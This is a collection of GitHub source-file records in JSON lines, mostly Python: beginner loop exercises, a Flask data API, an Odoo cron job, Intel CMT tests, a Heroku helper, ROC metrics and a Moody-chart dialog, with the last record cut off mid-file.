{"seq_id":"73326315343","text":"sayilar = [1,5,7,9,12,19,21]\n\n#ekleme: .append\n#sıraya dizme: .sort\n\n#1) sayılar listesindeki elemanları while ile ekrana yazdırın\n\nc = 0\nwhile (c < len(sayilar)):\n    print(sayilar[c])\n    c += 1\n    \n# bir değişkene 0 tanımladık\n#while döngüsüne bağlı olarak c değişkenini sayilar dizisinin eleman sayısı kadar işleme soktuk\n#her döngüde sayilar dizisindeki c'ye eşit sayıdaki indexteki elemanını yazdırdık\n#her işlemden sonra c'yi bir arttırdık\n#döngü sayilar dizisindeki eleman sayısı kadar devam etti    \n\n\n#2) kullanıcıdan iki sayı alıp aradaki tüm tek sayıları yazdır\n\nx = int(input('sayı giriniz: '))\ny = int(input('sayı giriniz: '))\n\nb = x\nwhile b <= y:\n    if (b%2 == 1):\n        print(f'{b} tek sayıdır')\n    b += 1        \n    \n#kulllanıcıdan iki tane sayı aldık\n#aldığımız ilk sayıyı b değişkenine aktardım\n#if bloğunda b değişkenindeki sayının tek sayı olması şartıyla işlemi devam ettirdim\n#şarta uyması halinde sayıyı yazdırdım\n#döngü her tamamlandığında b değişkenini 1 arttırdım\n#döngüyü b, y'ye eşit olana kadar devam ettirdim   \n\n#3) 1 ile 100 arasındaki sayıları azalan şekilde yazdırın\n\nz = 100\nwhile z > 0:\n    print(z)\n    z -= 1\n\n\n#4) kullancıdan aldığınız 5 tane sayıyı  sıralı şekilde yazdır\n\nnumbers = []\nt = 1\nwhile t < 6 :\n    n = int(input('sayı giriniz: '))\n    numbers.append(n)\n    t += 1    \n    \nnumbers.sort()    \n   \nfor num in numbers:\n    print(num)    \n                                #ya da \n                                \n'''\ni = 0\nwhile (i < len(numbers)):\n    print(numbers[i])\n    i += 1\n'''                        \n#5)Kullanıcıdan alacağınız sınırsız sayıdaki ürün bilgisini ürünler listesinde saklayınız\n#  ** ürün sayısını kulllanıcıdan al\n#  ** dictionary liste yapısı şeklinde olsun \n#  ** ürün ekleme işlemi bittiğinde ürünü ekranda while ile yazdır  \n\n\nurunler = []                               \nadet = int(input('lütfen ürün miktarını giriniz: '))\n\ni2 = 0\nwhile (i2 < adet):\n    name = input('ürün ismi: ' )\n    price = input('ürün fiyatı: ')\n    urunler.append({\n        'name': name ,\n        'price': price\n    })\n    i2 += 1\n    \ni3 = 0\nwhile i3 < len(urunler):\n    print(urunler[i3]['name'])\n    i3 += 1\n    ","repo_name":"velibakirtas/begin_py","sub_path":"4-döngüler/4-while-örn.py","file_name":"4-while-örn.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6425805840","text":"import threading\nimport json\nimport datetime\n\n\nclass Monitor(object):\n\n    def __init__(self):\n        self.name = \"monitor\"\n        self.type = \"point\"\n        self.interval = 1\n\n    def get_point(self):\n        return {}\n\n\nclass MonitorThread(threading.Thread):\n\n    def __init__(self, monitor, queue):\n        super().__init__()\n        self.monitor = monitor\n        self.name = monitor.name\n        self.type = monitor.type\n        self.queue = queue\n\n    def run(self):\n        for point in self.monitor.get_point():\n            self.queue.put({\n                \"name\": self.name,\n                \"stamp\": datetime.datetime.utcnow().isoformat(),\n                \"point\": json.dumps(point),\n                \"type\": self.type\n            })","repo_name":"BrixIT/Brixmond","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13836898408","text":"n=int(input())\narr=[]\nfor i in str(n):\n    arr.append(int(i))\nnum=[]\nfor i in range(len(arr), 9*len(arr)+1):\n    m=n-i\n    arr1=[]\n    if m<=0:\n        continue\n    for j in str(m):\n        arr1.append(int(j))\n    if (m+sum(arr1))==n:\n        num.append(m)\n\nif len(num)==0:\n    print(0)\nelse:\n    print(min(num))","repo_name":"LEEJW1953/baekjoon","sub_path":"백준/Bronze/2231. 분해합/분해합.py","file_name":"분해합.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11052877597","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom flask import Flask, request, json, jsonify, abort\nimport json\nfrom datetime import date, datetime\nimport decimal\nfrom functools import wraps\nimport logic\nimport traceback\nfrom config import CONFIGURATION as config\nfrom sql import SQL\nimport db\nimport sender\nimport functools\n\n\napp = Flask(__name__)\n\n\nclass MyJSONEncoder(json.JSONEncoder):\n    def default(self, obj):\n        if isinstance(obj, (date, datetime)):\n            return obj.isoformat()\n        if isinstance(obj, decimal.Decimal):\n            # Convert decimal instances to strings.\n            return str(obj)\n        return super(MyJSONEncoder, self).default(obj)\n\n\napp.json_encoder = MyJSONEncoder\n\n\ndef auth(f):\n    @wraps(f)\n    def decorated_function(*args, **kwargs):\n        token = request.headers.get('Token', None)\n        # print(request)\n        if (not token) or (token != TOKEN):\n            abort(401)\n        return f(*args, **kwargs)\n    return decorated_function\n\n\n@app.route('/phone/<phone>', methods=['GET'])\n@auth\ndef get_phone(phone):\n    result = db.fetch(SQL['lands_by_phone'], {'phone': phone})\n    return jsonify(result)\n\n\n@app.route('/phone/<phone>/periods', methods=['GET'])\n@auth\ndef get_periods_by_phone(phone):\n    result = db.fetch(SQL['periods_by_phone'], {'phone': phone})\n    return jsonify(result)\n\n\n@app.route('/phone/<phone>/subscribed', methods=['GET'])\n@auth\ndef get_subscribed_by_phone(phone):\n    srv = sender.Sender(config['sender'])\n    contact = sender.Contact(srv, phone)\n    return jsonify(contact.active)\n\n\n@app.route('/phone/<phone>/subscribe', methods=['GET'])\n@auth\ndef get_subscribe_by_phone(phone):\n    srv = sender.Sender(config['sender'])\n    contact = sender.Contact(srv, phone)\n    contact.subscribe()\n    return jsonify(contact.active)\n\n\n@app.route('/phone/<phone>/unsubscribe', methods=['GET'])\n@auth\ndef get_unsubscribe_by_phone(phone):\n    srv = sender.Sender(config['sender'])\n    contact = sender.Contact(srv, phone)\n    contact.unsubscribe()\n    return jsonify(contact.active)\n\n\n@app.route('/phone/<phone>/period/<period>', methods=['GET'])\n@auth\ndef get_land_phone_period(phone, period):\n    result = db.fetch(SQL['period_by_phone'],\n                      {'phone': phone, 'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/phone/<phone>/factperiod/<period>', methods=['GET'])\n@auth\ndef get_land_phone_factperiod(phone, period):\n    result = db.fetch(SQL['period_by_phone'],\n                      {'phone': phone, 'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/land/<land>/period/<period>', methods=['GET'])\n@auth\ndef get_land_period(period, land):\n    result = db.fetch(SQL['periods_by_land'],\n                      {'land': land, 'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/land/<land>/period/<period>/charge', methods=['GET'])\n@auth\ndef get_land_period_charge(period, land):\n    result = db.fetch(SQL['charge_by_land'],\n                      {'land': land, 'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/land/<land>/period/<period>/payment', methods=['GET'])\n@auth\ndef get_land_period_payment(period, land):\n    result = db.fetch(SQL['payment_by_land'],\n                      {'land': land, 'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/charge/<period>/<land>', methods=['GET'])\n@auth\ndef get_land_charge(period, land):\n    result = db.fetch(SQL['charge_by_land'],\n                      {'land': land, 'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/charge/<period>', methods=['GET'])\n@auth\ndef get_charge(period):\n    result = db.fetch(SQL['charge_in_period'],\n                      {'period': period}\n                      )\n    return jsonify(result)\n\n\n@app.route('/phone/<phone>/profile', methods=['GET'])\n@auth\ndef get_user_info_by_phone(phone):\n    result = logic.compactProfile(\n        db.fetch(SQL['user_info_by_phone'],\n                 {'phone': phone}\n                 )\n    )\n    return jsonify(result)\n\n\n@app.route('/smsusers', methods=['GET'])\n@auth\ndef users_for_sms():\n    result = db.fetch(SQL['users_for_sms']\n                      )\n    return jsonify(result)\n\n\n@app.route('/sendersync', methods=['GET'])\n@auth\ndef sync_users_for_sms():\n    s = sender.Sender()\n    # print(res)\n    res = db.fetch(SQL['users_for_sms'])\n    contacts = map(lambda x:\n                   sender.Contact(s,\n                                  email=x.get('email'),\n                                  phone='+' + x.get('phone'),\n                                  name=' '.join(\n                                      [x.get('last_name', ''), x.get('io_name', '')])\n                                  ),\n                   res)\n    result = (s.saveContacts(contacts))\n    return jsonify(result)\n\n\n@app.route('/maintanance', methods=['POST'])\n@auth\ndef maintance():\n    print('maintanance')\n    return jsonify(logic.maintenanceAccurals())\n\n\n@app.route('/', methods=['GET'])\ndef get_tasks():\n    result = db.test_db()\n    return jsonify(result)\n\n\n@app.route('/payments', methods=['POST'])\n@auth\ndef post_payments():\n    result = None\n    data = request.get_json(force=True)\n    result = logic.upsert_payment(data)\n    # except Exception as e:\n    #     print(e)\n    #     traceback.print_stack()\n    #     # result = {'ERROR'}\n    return jsonify(result)\n\n\nTOKEN = config.get('TOKEN', None)\nif not (TOKEN):\n    print('WARNING: TOKEN is not found in config.py')\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', debug=True)\n","repo_name":"egno/armada-api","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10589342175","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models\nimport datetime\n\n\nclass ActivityPlanning(models.Model):\n    _inherit = \"activity.planning\"\n\n    following_time = fields.Float(\"Time following\", index=True)\n    following_notification_done = fields.Boolean(\"Done Notification\")\n    following_notification_minutes_before = fields.Integer(\"Minutes Before Notification\")\n    following_notification_minutes_before_check = fields.Boolean(\"Minutes Before Notification Check\", default=True)\n    following_notification_expired = fields.Boolean(\"Expired Notification\")\n    following_notification_user_ids = fields.Many2many(\"res.users\",relation=\"res_users_following_notification_user_ids\", string=\"Notification Users\")\n    following_notification_notif_modes = fields.Selection(string=\"Avisos a\", selection=[('inbox', 'Bandeja de entrada'),\n                                                                                     ('popup', 'Pop-Up'),\n                                                                                     ('both', 'Ambos')], required=False,\n                                                          default=\"inbox\")\n\n    @api.model\n    def cron_create_activities(self):\n        print (\"OK Create activities\")\n        tasks_obj = self.env['activity.planning']\n        activities_obj = self.env['template.cron.activity']\n        calendar_obj = self.env['resource.calendar.leaves']\n        today = datetime.date.today()\n        time = datetime.datetime.now()\n        tasks = tasks_obj.search(['|',('date_start','=',False),('date_start','<=',today),'|',('date_end','=',False),('date_end','>=',today),('active','=',True)])\n        print (today.weekday())\n        global_leaves = calendar_obj.search([('date_from', '<=', str(time)), ('date_to', '>=', str(time)), ('resource_id', '=',False)], limit=1)\n        if (global_leaves):\n            print (\"Festivo\")\n        else:\n            for task in tasks:\n                if ((task.recurrent=='1' and task.recurrent_day_of_week==str(today.weekday()+1)) or\n                            (task.recurrent=='0' and today.weekday()<5) or\n                            (task.recurrent=='2' and task.recurrent_day_of_month == str(today.strftime(\"%d\"))) or\n                            (task.recurrent=='3' and ((task.recurrent_monday==True and today.weekday()==0) or\n                                                          (task.recurrent_tuesday == True and today.weekday() == 1) or\n                                                          (task.recurrent_wednesday == True and today.weekday() == 2) or\n                                                          (task.recurrent_thursday == True and today.weekday() == 3) or\n                                                          (task.recurrent_friday == True and today.weekday() == 4) or\n                                                          (task.recurrent_saturday == True and today.weekday() == 5) or\n                                                          (task.recurrent_sunday == True and today.weekday() == 6)))):\n                    activities = activities_obj.search([('res_id','=',task.id)], order='sequence')\n                    for user in task.user_ids:\n                        leave = False\n                        if (not leave):\n                            print (user.name)\n                            activity_id=False\n                            for activity in activities:\n                                print (activity.summary)\n                                res = {\n                                    'summary': activity.summary,\n                                    'activity_type_id': activity.activity_type_id.id,\n                                    'res_id': user.partner_id.id,\n                                    'user_id': user.id,\n                                    'date_deadline': today,\n                                    'res_model_id': self.env.ref('base.model_res_partner').id,\n                                    'following_time': task.following_time,\n                                    'following_notification_done': task.following_notification_done,\n                                    'following_notification_minutes_before': task.following_notification_minutes_before,\n                                    'following_notification_minutes_before_check': task.following_notification_minutes_before_check,\n                                    'following_notification_expired': task.following_notification_expired,\n                                    'following_notification_user_ids': [(6, 0, [user.id for user in task.following_notification_user_ids])] ,\n                                    'following_notification_notif_modes': task.following_notification_notif_modes,\n                                }\n                                if (activity.depend_before is True and activity_id):\n                                    res['depend_activity_id']= activity_id.id\n                                activity_id = self.env['mail.activity'].create(res)\n        return True\n","repo_name":"oscars8a/sdi-addons","sub_path":"sdi_notification_activities_planning/models/activity_planning.py","file_name":"activity_planning.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20391973800","text":"#类的继承\nclass Bird(object):\n    have_feather = True\n    way_of_reproduction = 'egg'\n\nclass Chicken(Bird):\n    way_of_move = 'walk'\n    possible_in_KFC = True\n\nclass Oriole(Bird):\n    way_of_move = 'fly'\n    possible_in_KFC = False\n\nsummer = Chicken()\n\nprint('小鸡是否有翅膀:',summer.have_feather)\n\nprint('小鸡的行走方式：',summer.way_of_move)\n\ncrow  = Oriole()\n\nprint('乌鸦的繁殖方式:',crow.way_of_reproduction)\n\nprint('乌鸦的行走方式：',crow.way_of_move)","repo_name":"qdxt/python","sub_path":"learnPython/Class-inheritance.py","file_name":"Class-inheritance.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2350843344","text":"\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.index),\n    path('doctor/', views.doctor),\n    path('vendors/', views.vendors),\n    path('lab/', views.lab),\n    path('shop/', views.shop),\n    path('cart/', views.cart),\n    path('checkout/', views.checkout),\n    path('confirmation/', views.confirmation),\n    path('contact/', views.contact),\n    path('shop-sidebar/', views.shopslider),\n    path('about/',views.about),\n]\n","repo_name":"sriza/E-MedHouse","sub_path":"medicalapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"20085477954","text":"import subprocess\nimport re\nimport time\nimport test\nimport pytest\nfrom priority import PRIORITY_HIGH\n\nclass TestPqosCMT(test.Test):\n\n    ## @cond\n    @pytest.fixture(autouse=True)\n    def init(self, request):\n        super().init(request)\n        yield\n        super().fini()\n    ## @endcond\n\n\n    ## PQOS - CMT Detection\n    #\n    #  \\b Priority: High\n    #\n    #  \\b Objective:\n    #  Verify CMT capability is detected on platform\n    #\n    #  \\b Instruction:\n    #  Run \"pqos [-I] -d\" to print supported capabilities\n    #\n    #  \\b Result:\n    #  Observe \"LLC Occupancy\" in \"Cache Monitoring Technology (CMT) events\" section\n    @PRIORITY_HIGH\n    @pytest.mark.rdt_supported(\"cqm_occup_llc\")\n    def test_pqos_cmt_detection(self, iface):\n        (stdout, _, exitstatus) = self.run_pqos(iface, \"-d\")\n        assert exitstatus == 0\n        assert re.search(r\"Cache Monitoring Technology \\(CMT\\) events:\\s*LLC Occupancy\", stdout)\n\n\n    ## PQOS - CMT Monitor LLC occupancy (cores)\n    #\n    #  \\b Priority: High\n    #\n    #  \\b Objective:\n    #  Verify CMT values for core\n    #\n    #  \\b Instruction:\n    #  1. Run \"taskset -c 4 memtester 100M\" in the background\n    #  2. Run \"pqos [-I] -m llc:0-15\" to start CMT monitoring\n    #  3. Terminate memtester\n    #\n    #  \\b Result:\n    #  Value in LLC[KB] column for core 4 is much higher than for other cores\n    @PRIORITY_HIGH\n    @pytest.mark.rdt_supported(\"cqm_occup_llc\")\n    def test_pqos_cmt_llc_occupancy_cores(self, iface):\n        def get_cmt(output, core):\n            cmt = None\n            lines = output.split(\"\\n\")\n\n            for line in lines:\n                match = re.search(r\"^\\s*([0-9]*)\\s*[0-9]*\\.[0-9]*\\s*[0-9]*k\\s*([0-9]*\\.[0-9])\\s*$\",\n                                  line)\n                if match:\n                    curr_core = int(match.group(1))\n                    if curr_core == core:\n                        cmt = float(match.group(2))\n            return cmt\n\n        command = \"taskset -c 4 memtester 100M\"\n        with subprocess.Popen(command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE):\n            time.sleep(2)\n\n            (stdout, _, exitcode) = self.run_pqos(iface, \"-m llc:0-15 -t 1\")\n            assert exitcode == 0\n            assert re.search(r\"CORE\\s*IPC\\s*MISSES\\s*LLC\\[KB\\]\", stdout)\n\n            cmt = get_cmt(stdout, 4)\n            assert cmt > 1000\n\n            for core in range(15):\n                if core == 4:\n                    continue\n                assert get_cmt(stdout, core) < cmt / 2\n\n\n    ## PQOS - CMT Monitor LLC occupancy (tasks)\n    #\n    #  \\b Priority: High\n    #\n    #  \\b Objective:\n    #  Verify CMT values for task id\n    #\n    #  \\b Instruction:\n    #  1. Run \"memtester 100M\" in the background\n    #  2. Run \"pqos -I -p llc:<memtester pid> -p llc:1\" to start CMT monitoring\n    #  3. Terminate memtester\n    #\n    #  \\b Result:\n    #  LLC column present in output. LLC value for memtester is much higher than for other PID\n    @PRIORITY_HIGH\n    @pytest.mark.iface_os\n    @pytest.mark.rdt_supported(\"cqm_occup_llc\")\n    def test_pqos_cmt_llc_occupancy_tasks(self, iface):\n        def get_cmt(output, pid):\n            cmt = None\n            lines = output.split(\"\\n\")\n\n            for line in lines:\n                # pylint: disable=line-too-long\n                match = re.search(r\"^\\s*([0-9]*)\\s*[0-9,]*\\s*[0-9]*\\.[0-9]*\\s*[0-9]*k\\s*([0-9]*\\.[0-9])\\s*$\", line)\n                if match:\n                    curr_pid = int(match.group(1))\n                    if curr_pid == pid:\n                        cmt = float(match.group(2))\n            return cmt\n\n        command = \"memtester 100M\"\n        with subprocess.Popen(command.split(), stdin=subprocess.PIPE,\n                              stdout=subprocess.PIPE) as memtester,\\\n             subprocess.Popen(\"sleep 60\".split(), stdin=subprocess.PIPE,\n                              stdout=subprocess.PIPE) as sleep:\n\n            time.sleep(2)\n\n            (stdout, _, exitcode) = \\\n                self.run_pqos(iface, f\"-p llc:{sleep.pid} -p llc:{memtester.pid} -t 1\")\n            assert exitcode == 0\n            assert re.search(r\"PID\\s*CORE\\s*IPC\\s*MISSES\\s*LLC\\[KB\\]\", stdout) is not None\n\n            assert get_cmt(stdout, memtester.pid) > 1000\n            assert get_cmt(stdout, sleep.pid) < 50\n\n            memtester.kill()\n            sleep.kill()\n\n    ## PQOS - CMT Monitor LLC occupancy - percentage LLC for tasks\n    #\n    #  \\b Priority: High\n    #\n    #  \\b Objective:\n    #  Verify CMT values for task id - value should be displayed as percentage of total cache\n    #\n    #  \\b Instruction:\n    #  1. Run \"memtester 100M\" in the background\n    #  2. Run \"pqos -I -p llc:<memtester pid> -p llc:1 -P\" to start CMT monitoring and LLC\n    #     displayed as percentage value\n    #  3. Terminate memtester\n    #\n    #  \\b Result:\n    #  LLC column present in output and is shown in percents. LLC value for memtester is much\n    #  higher than for other PID\n    @PRIORITY_HIGH\n    @pytest.mark.iface_os\n    @pytest.mark.rdt_supported(\"cqm_occup_llc\")\n    def test_pqos_cmt_llc_occupancy_tasks_percent(self, iface):\n        def get_cmt_percent(output, pid):\n            cmt = None\n            lines = output.split(\"\\n\")\n\n            for line in lines:\n                match = re.match(r\"^\\s*(\\d+)\"              # PID number\n                                 r\"(?:\\s+\\S+){3}\"          # CORE, IPC and MISSES (ignored)\n                                 r\"\\s+(\\d{1,3}\\.\\d+)\\s*$\", # LLC[%] value\n                                 line)\n                if match:\n                    curr_pid = int(match.group(1))\n                    if curr_pid == pid:\n                        cmt = float(match.group(2))\n\n            return cmt\n\n        command = \"memtester 100M\"\n        with subprocess.Popen(command.split(), stdin=subprocess.PIPE,\n                              stdout=subprocess.PIPE) as memtester,\\\n             subprocess.Popen(\"sleep 60\".split(), stdin=subprocess.PIPE,\n                              stdout=subprocess.PIPE) as sleep:\n\n            time.sleep(2)\n\n            (stdout, _, exitcode) = \\\n                self.run_pqos(iface, f\"-p llc:{sleep.pid} -p llc:{memtester.pid} -t 2 -P\")\n            assert exitcode == 0\n            assert re.search(r\"PID\\s*CORE\\s*IPC\\s*MISSES\\s*LLC\\[%\\]\", stdout) is not None\n\n            memtester_percent = get_cmt_percent(stdout, memtester.pid)\n            pid_one_percent = get_cmt_percent(stdout, sleep.pid)\n\n            # assuming that memtester will show higher LLC load than other pid\n            assert memtester_percent > pid_one_percent\n\n            memtester.kill()\n            sleep.terminate()\n","repo_name":"intel/intel-cmt-cat","sub_path":"tests/testcases/test_pqos_cmt.py","file_name":"test_pqos_cmt.py","file_ext":"py","file_size_in_byte":6653,"program_lang":"python","lang":"en","doc_type":"code","stars":644,"dataset":"github-code","pt":"47"}
{"seq_id":"72400305742","text":"from StocktonBotPackage.DevUtilities import utils\nimport heroku3\nimport requests\nimport time\nimport os\n\nprint(f\"Getting Heroku auth...\")\nwhile True:\n    try:\n        auth = heroku3.from_key((os.environ['HEROKU-API-KEY']))\n        print(f\"...Heroku auth successfully connected!\")\n        break\n    except NameError:\n        auth = None\n        raise NameError(\"No key has been provided for Heroku API. This is okay. Continuing program execution.\")\n    except requests.exceptions.ConnectionError as exceeded_rate_limits:  # Typically only ever an issue if I'm testing\n        print(f\"Heroku connection rate limits exceeded. Retrying in 5 seconds.\")\n        time.sleep(5)\n        continue\n\n\nclass Heroku:\n\n    def __init__(self):\n        self.app = auth.app('stockton-discord-bot')\n        self.max_rate_limits = 4500  # Refer to docs if this changes\n\n    async def restart_app(self, context):\n\n        print(F\"Restarting bot!\")\n\n        bot_channel = utils.get_bot_commands_channel(context.guild)\n\n        if self.is_authenticated() and [dyno.state for dyno in self.app.dynos()]:\n            await bot_channel.send(\"Restarting bot from Heroku- please wait approximately 15 seconds...\")\n            self.app.restart()\n        else:\n            await bot_channel.send(\"Will not restart- this bot must be running on Heroku\")\n            # Do nothing if running locally\n\n    def get_app_state(self):\n\n        if self.is_authenticated() and [dyno.state for dyno in self.app.dynos()]:\n            return \"Running on Heroku\"\n        return \"Running locally\"\n\n    def get_rate_limits(self):\n\n        if self.is_authenticated:\n            return f\"{auth.ratelimit_remaining()} / {self.max_rate_limits}\"\n\n        return \"Heroku is not authenticated!\"\n\n    def is_authenticated(self):\n\n        if auth.is_authenticated:\n            return True\n        return False\n","repo_name":"Lawrence-Chiappelli/Stockton-Discord-Bot","sub_path":"StocktonBotPackage/DevUtilities/herokuAPI.py","file_name":"herokuAPI.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"73566283343","text":"import collections\n\n\ndef _get_root_model(mjcf_elements):\n  root_model = mjcf_elements[0].root.root_model\n  for element in mjcf_elements:\n    if element.root.root_model != root_model:\n      raise ValueError('entities do not all belong to the same root model')\n  return root_model\n\n\nclass JointStaticIsolator:\n  \"\"\"Helper class that isolates a collection of MuJoCo joints from others.\n\n  An instance of this class is a context manager that caches the positions and\n  velocities of all non-isolated joints *upon construction*, and resets them to\n  their original state when the context exits.\n  \"\"\"\n\n  def __init__(self, physics, joints):\n    \"\"\"Initializes the joint isolator.\n\n    Args:\n      physics: An instance of `mjcf.Physics`.\n      joints: An iterable of `mjcf.Element` representing joints that may be\n        modified inside the context managed by this isolator.\n    \"\"\"\n    if not isinstance(joints, collections.abc.Iterable):\n      joints = [joints]\n    root_model = _get_root_model(joints)\n    other_joints = [joint for joint in root_model.find_all('joint')\n                    if joint not in joints]\n    if other_joints:\n      self._other_joints_mj = physics.bind(other_joints)\n      self._initial_qpos = self._other_joints_mj.qpos.copy()\n      self._initial_qvel = self._other_joints_mj.qvel.copy()\n    else:\n      self._other_joints_mj = None\n\n  def __enter__(self):\n    pass\n\n  def __exit__(self, exc_type, exc_value, traceback):\n    del exc_type, exc_value, traceback  # unused\n    if self._other_joints_mj:\n      self._other_joints_mj.qpos = self._initial_qpos\n      self._other_joints_mj.qvel = self._initial_qvel\n","repo_name":"deepmind/dm_control","sub_path":"dm_control/composer/initializers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":3200,"dataset":"github-code","pt":"47"}
{"seq_id":"14400856906","text":"__author__ = 'Thong_Le'\n\nimport numpy as np\n\n# =================================================\n# 1. Mann-Whitney U Statistic\ndef calU(data):\n    # data = { 1 : [S_i], 2: [S_j], 3: [S_k] } for i, j, k in N\n\n    count = 0\n    for i in data[1]:\n        for j in data[2]:\n            for k in data[3]:\n                if ((i < j) and (j < k)):\n                    count += 1\n\n    return count / (len(data[1]) * len(data[2]) * len(data[3]))\n\n\n# =================================================\n# 2. Approach based on the confusion matrix\ndef calPVUS(tp1, tp2, f12, f13, f23):\n    return (tp1 / (tp1 + f12 + f13)) * (tp2 / (tp2 + f23))\n\ndef calVUS_1(data):\n    # data = list(M_3x3)\n\n    l = [\n        calPVUS(data['tp1'], data['tp2'], data['f12'], data['f13'], data['f23']),\n        calPVUS(data['tp1'], data['tp3'], data['f13'], data['f12'], data['f32']),\n\n        calPVUS(data['tp2'], data['tp1'], data['f21'], data['f23'], data['f13']),\n        calPVUS(data['tp2'], data['tp3'], data['f23'], data['f21'], data['f31']),\n\n        calPVUS(data['tp3'], data['tp1'], data['f31'], data['f32'], data['f12']),\n        calPVUS(data['tp3'], data['tp2'], data['f32'], data['f31'], data['f21']),\n    ]\n\n    return sum(l) / len(l)\n\n# =================================================\n# 3. Approach based on emperical distribution functions\ndef calPDF(data):\n    return [x / sum(data) for x in data]\n\ndef calCDF(data):\n    return list(np.cumsum(calPDF(data)))\n\ndef calVUS_2(data):\n    # data = { 1 : [S_i], 2: [S_j], 3: [S_k] } for i, j, k in N\n\n    bins = 100\n    minS = min([min(data[1]), min(data[2]), min(data[3])])\n    maxS = max([max(data[1]), max(data[2]), max(data[3])])\n\n    count_S1, rangeS = np.histogram(np.asarray(data[1]), bins=bins, range=(minS, maxS))\n    count_S2 = np.histogram(np.asarray(data[2]), bins=bins, range=(minS, maxS))[0]\n    count_S3 = np.histogram(np.asarray(data[3]), bins=bins, range=(minS, maxS))[0]\n\n    cdf1 = calCDF(count_S1)\n    pdf2 = calPDF(count_S2)\n    cdf3 = calCDF(count_S3)\n\n    return sum(cdf1 * (1 - cdf3) * pdf2)\n\n","repo_name":"emithongle/QCF-Thesis-tmp","sub_path":"roc.py","file_name":"roc.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29000404266","text":"import argparse\nimport redis\nfrom utils import connect\n\nr = redis.Redis()\n\n# key set for user's name\nUSERS = \"users\"\n\ndef save_user(all_users):\n   r.sadd(USERS, *all_users)\n\ndef get_user():\n   return r.smembers(USERS)\n\ndef get_all_keys():\n   return r.keys(\"*\")\n\n\ndef main(args):   \n   connect(\"localhost\")\n\n   if args.add:\n      # list some users\n      users = {\"Ana\", \"Pedro\", \"Maria\", \"Luis\"}\n      save_user(users)\n   \n      print(\"Utilizadores adicionados com sucesso!\")\n\n   if args.users:   \n      print(f\"Users: {get_user()}\")\n\n   if args.keys:   \n      print(f\"Keys: {get_all_keys()}\")\n\nif __name__ == \"__main__\":\n   parser = argparse.ArgumentParser()\n   parser.add_argument(\"-a\", \"--add\", help=\"Add users to redis\", action=\"store_true\")\n   parser.add_argument(\"-u\", \"--users\", help=\"Get redis users\", action=\"store_true\")\n   parser.add_argument(\"-k\", \"--keys\", help=\"Get redis keys\", action=\"store_true\")\n   args = parser.parse_args()\n\n   main(args)\n\n\n","repo_name":"oEscal/CBD","sub_path":"pratica1/simple_post.py","file_name":"simple_post.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"31561722818","text":"from configparser import ConfigParser\nimport json\nimport os\n\nfrom PyQt5 import QtGui, QtWidgets\nfrom scipy import logspace, log10\nfrom matplotlib.patches import ConnectionPatch\nfrom matplotlib import image\n\nfrom lib.config import conf_dir, IMAGE_PATH\nfrom lib.friction import f_list, eD\nfrom lib.plot import mpl\nfrom lib.utilities import formatLine, representacion\nfrom UI.prefMoody import ConfigDialog\nfrom UI.widgets import Entrada_con_unidades\n\n\nRe_laminar = [600, 2400]\nRe_turbulent = logspace(log10(2400), 8, 50)\nRe_fully = logspace(log10(4000), 8, 50)\n\n\ndef calculate(config):\n    fanning = config.getboolean(\"Moody\", \"fanning\")\n    method = config.getint(\"Moody\", \"method\")\n    eD = eval(config.get(\"Moody\", \"eD\"))\n    F = f_list[method]\n\n    dat = {}\n    dat[\"fanning\"] = fanning\n    dat[\"method\"] = method\n    # laminar\n    if fanning:\n        dat[\"laminar\"] = [16./R for R in Re_laminar]\n        x = 4\n    else:\n        dat[\"laminar\"] = [64./R for R in Re_laminar]\n        x = 1\n\n    # turbulent\n    turb = {}\n    for e in eD:\n        turb[e] = [F(Rei, e)/x for Rei in Re_turbulent]\n        dat[\"turbulent\"] = turb\n\n    # Line to define the fully desarrolled turbulent flux\n    dat[\"fully\"] = [(1/(1.14-2*log10(3500/R)))**2/x for R in Re_fully]\n\n    # Save to file\n    with open(conf_dir+\"moody.dat\", \"w\") as file:\n        json.dump(dat, file, indent=4)\n\n\nclass Chart(QtWidgets.QDialog):\n    \"\"\"Generic chart dialog\"\"\"\n\n    def __init__(self, parent=None):\n        super(Chart, self).__init__(parent)\n        self.setWindowTitle(self.title)\n        layout = QtWidgets.QGridLayout(self)\n        layout.setColumnStretch(3, 1)\n        self.plt = mpl(self)\n        